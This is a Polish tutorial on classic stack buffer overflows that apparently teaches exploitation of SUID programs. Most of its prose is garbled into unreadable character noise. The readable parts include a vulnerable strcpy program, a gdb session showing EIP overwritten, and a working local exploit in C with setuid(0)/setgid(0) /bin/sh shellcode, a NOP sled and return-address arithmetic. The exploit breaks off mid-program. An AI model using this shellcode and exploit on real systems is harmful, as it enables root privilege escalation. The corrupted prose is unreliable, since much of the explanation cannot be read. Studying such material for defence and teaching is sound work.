Bufer overflow
by Adam Zabrocki (pi3 -
pi3ki31ny@wp.pl
)
(
http://www.pi3.int.pl
)
:VW S
"!$#&%(')+*,-#"*"".//01*"1*
23-4
5
6718:9&;=<$>(?6$@BADCE"9GFHIH 67HIJ7LK1M$I7L9
N
O"P1Q/R/P QTSVU/QBRBUWOXP Y[Z1WD\^]`_$abRBcWDde/fhgiQTjZak"YlP
m
n:op q&rtstuv(wJqyx1uiz[{B|$p}xpyx~|D-p/v}x u&|$wqTDrD`u : lLp |
nXxB}$pB{Dq
w}u$w$1u/pVs
`( V¡t¢£$£ ¤¦¥$§$¨V©¥ª[ £«¬¤
D¨®Di¨- ¯yi¤G £«¬
£« (¨V©/ ¯&¥°
±1² ³´$µ ¶¸·+¹D³DºµV»¼½(¾-¿DÀi¾®²Áy¼Â-ô$µÄB³´$µB¶Å
²ÆÁ¿Ç
ÈÉËÊ-É/ÌÍiÎVÏÑÐ$ÒiÓXÔÎ/ÕÍiÔ1ÎBÖ×ÒØÈÔÎ/ÒÙ-ÚÊ-ÒÛ ÈDÜDÝ
ÔÌBÞ
ß
Û
àáãâäåæèçéëêìäDàDí
îðïâ ñ-ìîåê-òôó$õóDæöâñVäDà$÷Bø¸ïDùú/ìDûáüóDñ-õ(ýiñ-â íyåþ®ÿ1à÷îBäDà$÷ø
òtêiþ®ÿ
ïDùBìÿ`ûñ+à
íõiê
"!#!#$% &' ()*+%&#',', - (. /',0$ 214356 087( !9!2:"; <9=6$>?"@:A!#,BDCE@):! )
w biblioteczce ANSI funkc
BD=#F(:HG)I!$@J ) K (8BLCK ( M4N8ON8"C
P(QRTSU VW X YZ[]\LW ^UW_)P`aEbX(cYOd(eIU
c+W^#fZ [hg`X ^Z)\LfiXWjbk8lmafn8V(o Ypf$X X Y af
strcpy(), strcat(), sprintf(), vsprintf(), gets(). Niestety
bezpieczne funkcje takie jak fgets(), oraz fgetc() czy getc() i getchar()
cHb kqaU P(lsrJSURKUV UR
Wt
rJo^UVYS_o YKX#f"buR2vAWw4Z8fxRyY azf"Z [K`k
{|}x~6# ( }("~I( ~##-$8 8/+y+H~ #|u4~ {( -
#uH"}D? )#}"| }L,u~/+K}({#}$|#}$ ~}+6
# ¡+¢}$yD)Ou{ ({i#4£(¤¥# , 8u|}# ")"}¦§I)
¨©xªy« ¬®¯)° ±¯² ¬³ ¬q´µ¶·u³¸
zcze
² ¹² º©°(² ¯¹+³¢»#²q¸¹³¯)¼8©"³¡½+¾#³8²¿°À³¯Á)¨$°ªKÂ)ÃÄ°(¯)² Åq° ƺ¯H«(¹+³Ç¼²È"º©$³ ¬É»#©$³Æ ² ªI»#°i²¹+² º©]ÆÅ©ªy» «¼¾¿¼8©¶8±(ʪ
Á,°¯¬² ¹AËD·D¶8¼ «#¼ ¾9½Á°(¯¬²u¹¦¸)¹+¯©x»#±¸JÂÍÌ(Φ³2°#¸¹+² ¹A»©$³¸J¶K°¹«#¨"³¸/#³¼u«Á©¼Å»³Ã©$ÏyŲ Å ªI«¼ Ų·ÄÐÈAÑÆ«¹³K¸Í¶I ¯°¸)¹,¸Å³
ªÒ»#©$³¯)°Ð©³ »©xËE©¼ ¾»©xÏ#° ¯,Å8³Æ(»#©³ ÌÓ#² ¯H¹+³2¸4¶Ô°»³»²IÁË »º¼
jach z rodziny *printf() (syslog() tez).
Õ
»#©$»#©$³,· ¸/Å «¬Ö²¯H¹"«º Ë#¨³Ô#°¸¹² ¯² ¬m¸D©$ѯ,Å «Ð#¨©$Ï «×¦·D²ºªI« º°(¯Å«¸)¹²8×y»#©$³Å ªy«º#¨³Ô°( ˨$²¯,»³ÔÐ È+Ñ8Æ«?¹"« Ë
buffer overflow (BO).
2. Teoria
ØÚÙ Û ÜÞÝß)àÝ8á âã$Ùä8åçæLè éêâàëì#è¡íÔÜ é#àßÝÜî)ïHèäÇÛðAñ
òó¿ô"ó õ öê÷]øpùAôúûýü#þ8òþ¡ÿ(û
ú2ú ô+ú û¿ôóõ ö
buffer
overflow -
õ
õ
"ú
ü ö,ÿ)úúDõ
ô
üú
ò
ô
)ÿ ö!"
Dúû#
%$
ô& ÿ'ú( ÿKú ó
õ )ÿ)
$
õú!*"þ+)%,.-/)ÿ)
%$0$
ûAú8ò ú
$
þ
1243+5617839:;<=2>1%?+;<A@B2C>?DFE@G2>?DH:I24?+5.@G2J.KL@G2>?DH:=M3N"OQP%;OSR>31
strefy stosu. Dwie pierwsze strefy praktycznie nie m
J.@1TVU:XWV19X39X?YU:8M>1?M >R783+Z1%O W[3\2435/]
^
1:N`_%?bac?@2d78OQP;eR7[:0243ac?Nf9OQ;1:f@B24RX@hg
i
24j_ka\?%@2lR9=U.mQR5.OQ?+NnMX3NoOQP;OL1378OQ?+>3pacT%;\:qZ39?]/rts>J 9X;OQ?>1%?;1
y sam jest abstrakcyjnym typem
danych. Stos jest typu LIFO (Last In First Out).
^
<RZ1OY2JuR24RXKeOv_wRX@G2H32C9OxRU.OQ?52
52Hj>:yUXP+Z1OQ?
MRzR_%R9:*9X3@B24RX@cOQ?KUXP%Z1OQ?x1ZFahP
{C|k}\~.Q+ 8|/ hG{{H{ |"%~ QQ0 [{|"4(BG{
vBB{e{4{H|AQ*~~+{H|c}h8{|"% B| {¡X|. X%% ¢ x .Q+ 8|
}h
£ ¤¥¦§¨0©£ªX©« ¬Y¥"ª®X¨V¯e¤°ª®¤¯0¨±V°.« ²(°¨eª³X¬´G¨+µ
¶\«C·¶h¬¸®¨°®¨¶hµ¹º»µ%« ¬¶¼ª³.«C©¤ ¯#¨+®X¬[©½e¸¯0« ¬¦¾c¬©£¿£4ª
ÀÁXÂÃGÄÅpÆcÄÈÇdÉÊ ËÌÀÃGÄÍÈÇÎeÇSÏÐÇdÉ¢ÊËÒÑÀÑ ÄÆ\Â*ÆcÂ%ÑÂÓÔÂÕCÂÖ*ÂÓ×8ÓXÄÈØ0Ù ÂÃÍÅ+ÚXÀÛÂÜÞÝB×4ÀÝBß.àVÓÄ\×4ÀÖoÙQÄ%ÝB×8ÇÎeÇà
À ÑØ#ÃÀ×CÓ.ÙQÂ*Ó.Ù(á"Ç/ÉÊ Ë0àLÍÑ ÂpÆÖßhÆcÂVÆ\Â+Ñ ÂÓAÂ%Õ ÂÖfÂ+Ó×HàSÄ"Å%À6ÍÄ¢×CâÖãÙ ÑÍ%ÙCÂfÃÂ+ÑßÜ ßcÆcÂoÀ=×HÂÓAÂÕQÂ+Ö*ÂÓ×ÃGÀÍ+Ö"ÙQÄ+Ã
stosu. Rysunek 1 opisuje operacje PUSH, a rysunek 2 opisuje operacje POP.
äÐå.æçèXéêLë%ìíîêïðçhñcéeîòXéóGï+ôpñcõVídö÷ ø¢ì
ùÐú.ûüýþÿ
ÿ ücþ
þ
!#"%$'&(*)&+-,./(102 $43)"%!/(1576
-
.83:9<;=&>$?0@7+A5B!?0C;C"D5 6@27E?)/FG5 $'&(1)&+H?3:)827@IJ(K5 $-&(1)&+MLN0B@O0J;P&@5
&(10 FDQ407R/6S5&TU0
A5V8)W6S)@LX"Y06[Z86@Q8@!?0;B07!/QXR?\Y0=0 Z#\]"%$072^AJ"A5&S(RQ8!?0LN"D2 @!#"]5CR)Z?0&>);_Q8;C0!/QNZ86@5@[AJI7R6)
&Q#&S(K5 LW+`,1Z6@57@a27)b.83b@LN"]5!#"Y0c&;B)dAIe;C06(1)?fhg9hH_3U6S)275&>)/6'+8iQ8;B0kjK+8!8$2^AJ"P3UlW./mn)/6S0 @o3qp3qT=r8Q
+@+8Z5F]!#"Y0g_&(*)?&H
.(*)&s;b@0\]5 i7!)?f2O")8R'"tLWZ\]5Lu57!/(*072SA"vLu)/i5P6S)?&>!?Igw;xR8yF*Tz\t+r4;xV8y6S{N,K2
|?}8~/vD}-7~ O:#}8/
}/?N8?u8O>%8%ux] 7?}?h[}~OG7Y]h]u*}?hh?7? |8 81~8 |¡1}?
7~Y }7¢~£1¤¥?}/Y CB17 ¦q§wY ¥O}?
¨O©Uª8«S¬¨7®>¬«¯O°`±1²ª:³´K²? µK¶]·#¸¹¬µ1¬«¬¶]º·q»/¼U½¾s¿o¨ À7Á
¸´K¼z»Âh³»8¼«¯O°_²#©]ÃWÀOº¶YÃÁ¬8Ä©%ÅPª#¶] ÅN7²/µ1º¨Æ ©*³
¸Ç¬/ÃN¬²-°P®ÈºÀ Á8°CºÉNº¶tʬ²?ºN¬®µ1º µG²#©¶Y7Åu²/µË®µ*¬?®>Ì·
ÊÍ7ÄÎϲ?ºs²º®µ1Ð ª²/Á=°=¬¶%²/Á=ª?¬u®SµK¬?®h©D/³¸ÑÁwª8«^À ÁÆÅN©Y7ÅPÁ·©tÃs°P®È?º7ÀÌÆϬ/²=²?º_¬?®µ1ºJµ1²©O¶Y ÅM²/µU²º_®µ*¬?®©Y8³
ÒÓȺ ÃÄÁ8ÅÔª8«¬8ÕO«Sº7ÅM©Y©G®µD²©DÆ4°w©YO¶YÖ*̲8ȨƩ³v¼:¬Ä8¨7Àº®WÌ8«Ì¨ ×?ºÅN©Dº ²#©YºBƺȩY^Æ ØWÖKÌ8²8鬮 ©]·<²º®SµK¬?®N®dÍ
ÈÙGºÄ/À©Y¬/²?WµKº ÈÀ °=º
²u«SºÅWÈ#©]·ºuª?¬4ÀºÈ?¬
Ú?Û ÜOÝ Þ#ßtàáß]ÛâãÜßDä åGäÞß]äWæä çuèß[é>ê
ëì8í^îdïNðOñ=ò óí/ô¥õ<òJñwöYí ÷òîøNðó?í
ù
ò ÷Sò7ïuí úG÷KûWüKý8óþ?ÿî öîí^îYð/þ?òtó?íëïMö]í óó?í?ö¥ì8ò óísó#öYíë 7ì/ó?í_ì8ð=ðìOúDñCð÷Sëí ó#öYò
ù
ð
ù
÷^ëí7ì/óöYíSî[÷Sò7ïWþö ú*ð ý:ô
oöYí]íþðï
ù
öDòJú1ð/÷ Oñ
ý
"!$#&%(')!$#*,+-/.10234056784:9;<20>=/?@9BACA D/EGF03H
alnych jak i
I
B?JBKL3
I
0A-96B4/MN96DBEO02CFP5Q0 R8S0C2T!$#UAV96W VF6PX=/?Y96BAV9
I
0C2D/=Z<H-03AA-96S9[AV H-D9
#]\>^_`9a#]b#dc3!#ef]AV9DB=/?g9hAA?iD0"ja#k+C-FlMlA
I
,0D3m0DE"nAQF6A B=/4:9;opBA>fq!#qc
j]#@=rH 0 F6s9Bt3a",H-/u/AV9hH-9B?vB?1H-9%(j/?Jr#w0A(/
– wskazuj
lA-o,/?"H-;o`,(0-x9/*:c
#w9/p",=ey=D/=zt/H {0.-9}|Q CAH-Dyf~f,}(0JH-021=B7BA
I
0 F0PC96B?&c#}0CF6P03AGA-C?@+9hM
I
=sm 4/A
f,~^#&0=K03y=03A1A-0e1j]#%(!$#]*+-.Y,40=BV8r?@9yxD2CF6<A-07$/?1H-9w%(/?"H-<A 07r|( CAH-Dy9[*:c
"
I
9/pH-0
I
904/A-&t,G7Bpp0 R8/H F[A sP
0^C#i20j]#g%(!$#w*+7.40=B 8 A 03j#g%Q!$#w*+>
A-(;
I
A-96
I
=m 7BAY7^#)c)#a=/XetBRmDs96 S=|p AH-D9,Q0 1?J a:9=s0-,Qs8e D/=/V=DB=03AV+pBHV9H 0C2
zwany jest epilogiem funkcji.
d0. DB=/?17A-
I
y=BH5Q2=9kBH123=9B5(
I
0 F0P7%
I
=H5Ks2792s8lA-<F9Q9hA-P3 f*
Listing 1. prolog.c
void funkcja(in a1, int a2, int a3) {
char buf1[5];
char buf2[10];
}
int main() {
funkcja(1,2,3);
}
^CH 03?
I
9F[ tfB?14(B=r(BA
I
0CPB?v=<0
I
Df{
-
^>.> 40=B 8rH 0C2e3xxB?J.-FB=
# cc -S -o prolog.s prolog.c
# cat prolog.s
VR,796BpF9t96;A /?
02
I
0379623AV9hH
fm?1.-F6/0e]c0M/A
AV9h?
H-9KFhH 7BM/A D/E
=DB=
=s03.amp034s8cC#w0
I
96p7m=s4492=9h?1G
I
sDBV|y96D/=A {<5KRmDs9[0-Rm8<eV,Q;
I
ff{sD{
I
02CDB=s3DE 0C23=s/A-9
2C0T|p AH-Dy9Qcbr(L3MXB,P ?G/A|Q AH-Dy9<:{
I
035K0M03A-&023<03KA-ZH 0CF:A-0 R:Ds9pczb,QBAV9r/P ?GAd,
HC5Ks2=960A$fBH 0
I
96/p"=BV+
rA exB?vH 0A-96sDf,a<035QBAV96<|p AH-D9
pushl $3
pushl $2
pushl $1
call funkcja
92=9h?1 -+e9hMWA ,(0 &x{H5(23=39603A-0203A H 0CFxA 0 R:Ds9eB,P ?G/A]cb,(BKA-9eBP3 ?G/A~,
I
035K0M03A$tH 0
I
96p7m=B]c/"lH-03A-9Df,ae05(BAV96
A-m=s$|Q CAH Df9
I
0
I
=s/=<DFF+HQL3
I
035Q03MB7A-e(0
",-/ /¡V¢h¢6¡V£(¤¥-¦§¢¨Q©pª
- Instruction Pointer). Jest on potrzebny do tego, by procesor podczas, gdy
m «¬ ¦B/®G®-«3¡®4s¯§t/ °3±o²(¥¡C ¦§t³s´7¢6³sµ33¢6B¶q·µ¢³e¸@>t¢6¹
º»¼½C¾s¿6À
”
¿]¾sÁ"ÂGÃ<Ä-ÃÅ,ÆQÇBÈCÄ-¿6É<»<ÊË ÁÄÊ»7ÃÀ
Ì
Í
Ã/Ë-ÎÏÁÈ É/¼Ã¾
Í
ÉÐ:Ñ4ÒlÇÓ3Ô¿6É/Â"ÊÕÁÄ-ÃBÔBÊ»7ÃÀÏÖ$×)Ø~ÙJ¾/ÔBÊVÚ¿@ÃÓ3¼ÉÅ:É/ÂÛÈ Á»¼Á3ÆÄÊÂÑÜdÁÝ Ã¾Ô/Â"ÊÆQÉ/¼ÃBÔ
Í
Ã/Ë
»eÊ ÕÚ6ÎsÓÃrȼÁ ÚÁÕÞ
pushl %ebp
movl %esp,%ebp
subl $20,%esp
ß
¿ÓÔ¿hÂ1ÊÆà-Ùe¿háWÄ ÃÅ,Æ(Á Å
Í
ÉÅ,Æ4ËâKÃÓ3Ô¿Á3ÄÊ»>ÅË-ÃBãÄV¿h˼ÃÂ"ËV¿r×dÒ$ä
Ì
Ô/»4Ã/ÄÊÆ(ÉBáWÒä`ÚhàÝåaäwÐÙoÄ-ÃÅÆ(ÇBÈCÄ-¿É
aktualny adres SP jest kopiowany do EBP (nazwiemy go SFP), a sam SP jest przesuwany o rozmiar
Ô/ÂY¿6É/ÄÄÊ ¾/æÚÁ3Ë ÃÚhÄÊ-¾/æ»èçQàCÄË-¾
Í
¿QÑ
ß
Ã/á/Ä Ã
Í
ÉÅ,Æ¿6Ä-çyÁ3¼ÂGþ
Í
Ã&ÁÆÊÂ@Ùz¿háÈ ÃÂ@¿6ÇsÀZÂGÁ3ásÉZÝÊ ÀÃsÓ¼ÉÅxÁ»4Ã/Ä-Ã
ÆÊVÚ[Ë ÁG»4¿ÉsÚ6Á˼Á3ÆKÄ Á-é
êë6ìBíYëqîmïKðñ7ìsòóôQõ3ö,÷ñø ìîmùBúíüûCöùBúû-ìý3óCþ@ñeúø ð-îxëkÿ ìmôú[þ -ëhô
y -
ùsì6÷ /ú@ô(ð
ðCýWûöðê÷î:ðöì)ì/óSñ7ësêñQþøCó êfëîý3ñ4ìCþyð3öpú
-
! "$#&%('*),+-"$.&/'0 1324 6587:9<;=#&%>?)A@B0C'DFEA%
/0?5G@0C'%HEI9J"K#L
M?NOGPQR3S6Q4TVUXWP!Q<Y$Z&[\N^]`_VWP!Q<Y$a&[(bcd-Y$Z&ebV[feO?TGMOCb[HNIgJYKah<M?NOGPQR3S6Q`Ti]6jHWP!Q<YKZ&[3klmPBd>[HNn?M
SP jest przesuwany o 20 bajtów (subl $20,%esp). Stos
oPgpOq[Xbr-sItBuPXYKTePCO>R3oNTQv[HNnBM?TQwYKPCdxQ`PCdyoP
rysunku 3.
z
b*g<S-oTd{|kG}~a&dPCOS4Q6TQ4PdV[(brstGuP(gpY$agk
eZW-S6Q4TCR3bYKTCeJPCO[(bda&oPB Y$T?a&eJT`YFbMBOoTRiPB=T
e!OGT
TCFo*NTBoNT W-S*aeP oP
earePRNFTNMCYNR]GkMGcd-YKZeb
widzimy na listingu 2.
Listing 2. victim1.c
int main(int argc, char *argv[]) {
char bufor[100];
if (argv[1]==0) {
printf("Ussage %s <argument>\n",argv[0]);
exit(-1);
}
strcpy(bufor,argv[1]);
return 0;
}
lTo
eagYIb
earePCR
eOCb6QR3S4Q6TPer&S-RyTCoY,Nrada
NS4Q6THuaiW-S*aeS
e!O?TCOiKS-odM!Q6nGcd-Y$Z&ePVoNTig
eP`[Vu&OP
uFSrah
M?NxMGNItBrS
au-PBoTQusFPo*NTQXQ6PBdaPerSRyToYqgJYIeJM
b*KkPGa[Va-MGa[VPBYKaRa>
eOGT
TFoNITCo*NTCR
WSaeScmru&b
a-uPRbHQ6PdaPer&SRiToYMNtBr
eO?Td-ePGMCO?P!Q6t?M`bNFsIahp3RNT!QCgMGP[WSaeO?TNRya&T3oPBu
N$g<P?
PGu&eT&g
a[qea&YIob
KSo-dMQ4Nk\}eJa-MBTgaeda&MCO?tGM[(b-da&oPCoNITKS-odM!Q4NWnGu&ONFTRNP PGu&eTgc
który
eP`[Vu-a
a-ua&WoNT(oNFTmQ4T?gpY
eOGTOBoPGMCOa&obyusP(o*NTGr-a3N¡MBP$PxYKPXa
TeP?MQ6PVg<daMCObgNn(W-=n?u-TRgTGr&RiToYKPGMQ`N
TBrRyTBoY$PCYNao3PBSs¢Y$k?u-TW-SrS6QRb>YKTePOxoPgpO
eJarePCR£Wbig6Nn¤Y$TCRiS
eOb6QeOGT?
– listing 3.
¥¦$§¨¦©ªV«|¬G>®C¯°ª±&²>³©¦I®w´-µ±ª&µ³¶°·¤´-µ·B¸-¹-º$³B»&°¼¬
root@localhost:~# gdb victim1
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r `perl -e 'print "A"x108'` // komenda “r” oznacza “run”
½B¾C¿ÀFÁÂýBÄÅÆyÁFǤÈ-ÃJÅ-ÉÃÊÆËʤÈÅ>Ì*ÁÍÎ
//
Ï6ÁÐxÈÅ-ÑÊÎ`ÍwÌÅÃÆÊGÀÌ*ÁFÍwÈÊÃJÊCÆyÍCÒIÿiÓÊCÃJÉÂ-ÆyÍÌ-ÒF¿ÔÕ
Starting program:
/root/victim1 `perl -e 'print "A"x108'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip // info pokazoje informacje o czym chcemy reg to skrut od
// registers – czyli rejestry a eip to nazwa interesujacego nas
// rejestru...
eip 0x41414141 0x41414141
(gdb) quit // wychodzimy z programu...
Ö
ÊGÀÍB×GØHÏ6ÁÐXÒIÂÅÑiÃʾÂyÆÊCÙ=ÍXÚX¿6Î4Ê?Û
Ü*ÝÞBÜÝß-àá(â&ãåä4Þ?æpçâÞãèéÞêÞCëíìîßêçIïiÜß>ðIÝFñBÞBÜñä`ݼávò>ó3àôvÝõGé
`perl -e
'print "A"x108'`
ö
ïéÞÜÞCê!è6ä`Þ÷CøùiðIÝç$ÞêÞúû3à|üýÝFþGñHâÞãèéè4ä6ÞCë3ïÜß?æ<ÿ
ö
êß?ð=Ý
ö
ïî-êìéêßë¼âßä`ÞCëïëiè
! "#$%&')( *,+!- ./&102 3&!45 76 &(89%7&:8;4
<=&->28@?4%A.B4 C4D!EF
GIH
4 C4DJ< LKM4 N';OQP4RS.TD?0 U05 5N4!V<W'VKM XI4 Y'0.T0FX%7&S()%7.Z05 7I :2()X%7&[Y( *2+
wynosi on 0x41414141
P5\].I(V.I@C:$%7&.^<?FD(2_N;`D4
A wynosi 65, a co za tym idzie w systemie
szesnastkowym wynosi ona 0x41
P2aZ4&Z^2+b
(5%2EX.^<?c^.T $./5 !%d.Q<?be&< 48f5 (!%.#0 bI ;2(gP
RS./&e< ! X0 2%24(^45 L 2h>(8gD4%78 2[i+9&0 8V[8f>2 KE 7#j54%0 D./48
Hkml
^jnpoqapP7r")(
Y<?4X5 : 5N<?$ 4%)0 2 ICd* 0 7VFX+e 7+)(C&d<V4s$%7I.t0 e :2(C5X% e 5N[V<X[(gP2u$N:
!v7+$5W&@! )02E&
(^^%&<wux5 SD 5*V+!$L +!S(=.I:$ M&(5sX >2&$> ' M2(U <FypK@2 M
G
MF&!?y/M
.IqJ = %$ 78D <C% z05 8D c.I{
- /bin/sh
O,>(=02 4|05v7}4 EU(2 758~@ 0 702E&!&S&d< ?L4%7I./
0 e : 4 0 2& D .T&4 2 >2&>V'5M5 mP\
04(5!x 2%(WI+N'b(0 2 I
a
ustawiony atrybunat SUID
*bD %7((e 8D 2%X 78D :% 0 e8; 7VY% 5.I@V<)( 2 7J.T{ !NN:VeD
&!4&(5&Eb5{5 %7&q %7(-F@^^)(dbI+N:'9(=02 7C*{5 sXVY&!X./&!
G
20gP5C 7+S(d9(8DCs
.^<?&XyT 2% Y:.T e{2T 2 7;OQPU>24&> ' M2() &4($Y(z./{5!N;N<4 %24=PRY:9> ?4%?0 :.B8
^4z.;e 7E&(5sX.T$vB
./{5NN! 2%2*Z>5 C 7+4 z 1:(20V:.Q!sz %2%&N'(J;(228EPhr(> ?4%7&S(+(X4sd5z&1.D45%% (
./{5NN! 2%22PC\./&(V.T: >(28D 7>(> %& 0 5.TD!*z 2%7(2>(iV@ 5*C+ %({5!S(&V<snpoqa*C>2(
S.I &(2$8j5 .T&e./{5!N:N4 %2*7J e)V.^')(X&5sU%2 28@4%72(#^! X4%
.PRS<L +50 7S(VNsb.B?5$g
!%> MQ^Z!&Ive <4+=Z LD Y^7.# &Y< &V<PI.I;V<M='j.DM2 M^)RY
l
*~2Dv7 <d C > @P\
02:(5!q.Th 5b2+(2$5b>(C 705v}4V<sb02 4.,&5 65&V<b02 )fPr(pFMt2+(^)(Y>2(S&!0 D./sF
przed naszym shellcodem bardz
%7+! &( *ZD%(" %(&d< <Y(ntoZaY.T54&^ !d51[j.DM2 M^?
RS
l
D e>5?%7&<.^<?9 5p(2 7(2$!s9%2 7D %
G
'j.I:E25^tRX
l
O*%2 05v7V2 X./5+p50 2& F@$ ./&!! 2
./{5NN! 2%7fP
l
M&(Q)^F 4@&!.Q!%(Y ./&U>2VKM 70M&!45&!2(#^45 X 7Lm)V.^<8:>($(5 2N !%4s9 eDh
[ instrukcje NOP ] [ nasz shellcode ] [ zmieniony RET ]
l
M&(2>VN[+! (1npoqa!%7.bL +5d 7> N:<&(5s)05 02M&& 2%B^?!< %z05 24&! ;2.I@ 5.T
G
Jv7J($^eB2+L0 ;.Q8;
.I&!X./&!.TD8:(O:N 5y/sM./4&EQ $ 02M&& ./&.I{ N:N<! %2*d &@ X2(02 -P
l
2& DC.I@ 5.TYC9!%7.
0xc0000000
P7\302M&(> N<+!V[$Db 70 I!M(5 2N< %2pJh
ret=0xc0000000-strlen(shellcode)-strlen(program)-4;
F T¡¢ /£!¤4£!=¢!¥7¦5§¨C¡@©2¥2§ªe«2¡D¬7§®¯D§F¡:°X±<§¦ §¨³²V±; /§4¦ ±´²Vµ<©±`¡J¬°L¶·g©µ:4¸§©7¦ §¦5§ I¡°X©7E£!¦V±[®¹
² ©7¨C©2¤4¦ ±<¤£4¸2©»º® ¼M©M® ª~°|«¡J¬7J½¨º ¾4¥¿C®2¨± T£¤£©¦5C¡½ µ'« ©±'¦j I¡:E®2«5¤¢^
NOP, oraz shellcode, a jako
§¸®2¨¦¡¥©°e§Àµ:±`°X4¸©Á²2©¸§¨)®Â²5©2¥§¨S½Á¡½Vµ[«5©Áº2®V¼M©7Tª"«2¡D¬7M½Â£!§°$±§§¥7I i¥©Ã¦ § /£!!¸2©
² ©7¨C©2¤4¦ ±<¤£4¸2©º® ¼M©M®g¶zÄb¥5µ<4¸¯;©5ÅQ¤!±»¨C±<¾!¥7£4½Æ2·§¼J®2¦2« ¤M¢F§¨±-¦ §£½2°e§4¨Y½_©5¼E¼I Q¡@§¨±J¶LÇc©°e¯;§7Ŧ ±:
©¥2¸§!¥7¦ ±:¾4¤±©5¼E¼ Q¡;® I²§°X±§¥®2À½»²©7ºVµ<4¨=¶mÈ~´5² µ<©5±`¡,º5¾!¥7£±:S°9½
¸2µ¿!¥§¯Z°X±¾!¤S¡D§«X¢^§4«1²2©¸§¨É´5²~ʶ
¤
(listing 4).
Listing 4. exp1.c
ËÌÍ2ÎÏ;Ð4Ñ4Ò!ÓÔ)ÕXÖV×'Ö Ø;×<ÎÙDÚÑÒ4Û ×hÌË
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#define PATH "./victim1" /
ËgÜ5ÓFÙ;Ý)Í2ÎeÞßÓàØ×'Þ$Ú!áÎ$ÜßÎ2áßIÓÔ)â
#define BUFS 110 // buffor podany jako argument
#define SHELL 512 // pomocniczy buffor
#define NOP 0x90 // instrukcja NOP
/* nasz shellcode z 2 dodatkowymi funkcjami */
unsigned char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
ËÌeã@âä2Û5ÑEå^ÓUÛÙDæßÓ9ÎÖ Ø×:ÑÒ!ÓUÜ2ßMÒ4Õ2Ö Ø×[àÎ7ä2ÕSÓ4ÍßÚçcÜ5Î7ÞbßÎ7Ù;äÕdÌË
long ret_ad(char *a1, char *a2) {
return (0xc0000000-strlen(a1)-strlen(a2)-4);
}
ËÌeã@âä2Û5ÑEå^ÓUÛÙDæßÓb×'äVãMÎßMÔLâ^å^Ú~å^ÓÛYâ2àÕÞ$Ó!èä Óç/Ò!Ú4áÎSÚFé5Ü ØÎ5×`ÙDÓYÌË
int ussage(char *arg) {
printf("\n\t...::: -=[ exploit na program vuln1 ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}
ËÌáÏ;æ7Þä Óbã@âä2Û ÑMå^Ó
-
Ü5ÎÑÒ!ÐÙ@ÚÛdÌË
int main(int argc, char *argv[]) {
/* lokalne zmienne pomocnicze */
long ret,*ret_addr;
char *buf,*buf_addr,*buf_addr2,*path=PATH,*sh;
int i,opt,offset=0;
FILE *fp;
while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {
case 'o':
offset=atoi(opta
êIë7ìQíî:îgï5ðEðIñQòómô5ïõ2ö÷2øYô2êEù!òùUúûøó;ü5ïýe÷ þ[ü5ö
break;
case 'p':
path=optarg; // path do vuln1 programu
break;
case '?':
ÿ
Yÿ "!#$ %
break;
default:
ussage(argv[0])
&'"Yÿ !#(%
break;
}
}
/* Sprawdzamy czy program istnieje */
if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
}
/* alokujemy miejsce na nasz bufor podany jako argument */
if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}
/* alokujemy miejsce na nasz bufor pomocniczy */
if (!(sh=(char*)malloc(SHELL))) {
printf("\nI can\'t locate memory! - shell\n");
exit(-1);
}
printf("\n\t...::: -=[ exploit na program vuln1 ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
)+*",-.)+*,0/21354+678*99;:<=3*>@?81,A7=BCEDD?=)F"G=H89&I;J<LKGM13)+* 6N?5<O$)+<L,KG
ret_addr=(long*)ret+offset; // dodajemy offset - dodajemy a nie odejmujemy
D&D2H8<POEK816QF G=RS?)FG?513LTUV4
W'1"TXI=OEO(I;YTZ6QF <8[Q: I;B
D&D\6Q,A<56N)+<5[QK8I
*]O^3=_L`
printf("\t[+] Using adres 0x%x\n",ret_addr);
/* przygotowanie do zapisu adresu powrotnego */
buf_addr=buf;
buf_addr2=buf_addr;
/* zapisujemy do buforu podanego jako argument adres powrotny */
while(buf_addr2-buf <= BUFS-5) {
(*(unsigned long*)buf_addr2)=ret_addr;
ab8cdeffLg+hikjkl2m nnop(q&r sZtuoe"vMwMx yzlza8e|{}&w(}Ae"a8~q;xa5yP}&wZ~&oe{vVb'{{'f5y
nnktuyLpzy(xo w8~qpE8etQo"wvS g|o"w 5efLsbM
}
ny8t}e}Zq=o8e sMf=yzabZcygb{ tQ} 5y}Ago"awVe awpzq&fLo qfLo q&yLt
q;rs5y5x ow n
buf_addr2[BUFS-4]='\0';
n]o e" ZqtQb'{"vMwMxe"&w(ab8c|yLg 8yLvyx8q;x"o wVqt}gbs8x|{'e vq5 5yvy=x Zq;x owvq n
for(i=0;i<(SHELL);i++)
sh[i]=NOP;
nya8~&qx oevMw 5y=x o } sVefg+ tubzpEa=b8c|yLgo 5yvy=x Zq;x"o"wvfLo qveaw5
zapisywany shellcode */
buf_addr = sh + ((SHELL)-strlen(shellcode)-1);
n+o e 8qAtb'{'"vwtQ5~&~;x yf=5e fL ZqtQb'{
¡M¢]£k¤
¥¦ §
for(i=0;i<strlen(shellcode);i++)
*(buf_addr++) = shellcode[i];
§¦¨8©ª«ª¬Z=®¬8« ¯z°^±²Z³¨L´|®µ]¶8¨L·¨ ¬Z& "® ¥·¸±¥(±¥=¹¨$°;«º=¨L·¨»º® &µP©¼;½¯5¨¾5
zy */
sh[SHELL] = '\0';
printf("\nExecuting the vuln program - %s\n\n",path);
